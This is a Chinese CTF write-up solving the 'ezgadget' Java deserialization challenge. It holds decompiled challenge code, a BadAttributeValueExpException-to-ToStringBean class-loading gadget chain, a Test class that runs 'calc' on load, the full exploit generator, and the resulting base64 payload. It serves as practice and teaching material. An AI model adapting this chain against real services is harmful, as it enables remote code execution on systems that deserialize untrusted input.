ezgadget

ezgadget

找个题练一下学的Java

image-20241028000341223

User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.bean;

import java.io.Serializable;

public class User implements Serializable {
private String UserName;
private String PassWord;

public User() {
}

public String getUserName() {
return this.UserName;
}

public void setUserName(String userName) {
this.UserName = userName;
}

public String getPassWord() {
return this.PassWord;
}

public void setPassWord(String passWord) {
this.PassWord = passWord;
}

public String toString() {
return "User{UserName='" + this.UserName + '\'' + ", PassWord='" + this.PassWord + '\'' + '}';
}
}

IndexController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.controller;

import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
public IndexController() {
}

@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}

@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}

return "welcome bro.";
}
}

Tools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Tools {
public Tools() {
}

public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}

public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

ToStringBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ezgame.ctf.tools;

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;

public ToStringBean() {
}

public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;

try {
Obj = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}

return "enjoy it.";
}
}

可能有用的四个部分的代码

简要分析一下

IndexController中有个readobject路由,接受data参数

反序列化的时候先读String类型的再读Int,做次比较

再进行readobject

image-20241028000636473

直接这样即可

1
2
3
4
ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeUTF("gadgets");
oos.writeInt(2021);

在看到ToStringBean类,就明显了,打类加载

image-20241028000913520

由于构造函数没有东西,ClassByte需要利用反射来修改,值为恶意字节码

1
2
3
4
5
6
ToStringBean toStringBean = new ToStringBean();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\java_project\\CC1Test\\target\\classes\\Test.class"));
Class c = toStringBean.getClass();
Field field = c.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,bytes);

我的Test类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() {
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}

编译完成后直接用就行

这道题我们需要去触发ToStringBean的toString函数

利用CC5链中

BadAttributeValueExpException类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
/*
* Copyright (c) 1999, 2013, Oracle and/or its affiliates. All rights reserved.
* ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*/

package javax.management;

import java.io.IOException;
import java.io.ObjectInputStream;


/**
* Thrown when an invalid MBean attribute is passed to a query
* constructing method. This exception is used internally by JMX
* during the evaluation of a query. User code does not usually
* see it.
*
* @since 1.5
*/
public class BadAttributeValueExpException extends Exception {


/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;

/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;

/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}


/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

在反序列化的时候会调用toString函数

image-20241028001418755

其构造函数会提前执行toString方法,所以可以利用反射来修改val的值

image-20241028001446430

部分exp代码

1
2
3
4
5
6
BadAttributeValueExpException bad = new BadAttributeValueExpException(1);

Class c2 = bad.getClass();
Field field2 = c2.getDeclaredField("val");
field2.setAccessible(true);
field2.set(bad,toStringBean);

汇总一下,再对输出结果进行base64编码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.ezgame.ctf.tools.ToStringBean;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class ctf {
public static void main(String[] args) throws Exception{

ToStringBean toStringBean = new ToStringBean();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\java_project\\CC1Test\\target\\classes\\Test.class"));


Class c = toStringBean.getClass();
Field field = c.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,bytes);

BadAttributeValueExpException bad = new BadAttributeValueExpException(1);

Class c2 = bad.getClass();
Field field2 = c2.getDeclaredField("val");
field2.setAccessible(true);
field2.set(bad,toStringBean);

ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeUTF("gadgets");
oos.writeInt(2021);
oos.writeObject(bad);
oos.flush();
oos.close();

System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));

}
}

得到payload

1
rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAGHQAA2N0ZnQACGN0Zi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF/gGCFTgAgAAeHAAAAXXyv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAR2YXIxAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAEVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAADMAAQABAAAABSq3AAGxAAAAAgAMAAAACgACAAAADwAEABAADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAgALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABUADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQAQABgAAgALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABoADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAgAHQAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAAHgAJACEADAAfAA0AIAARACIADQAAAAwAAQANAAQAHgAfAAAAIAAAAAcAAkwHACEEAAEAIgAAAAIAIw==

不过需要进行url编码,否则可能会报错,建议post传

image-20241028001720403

结束

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信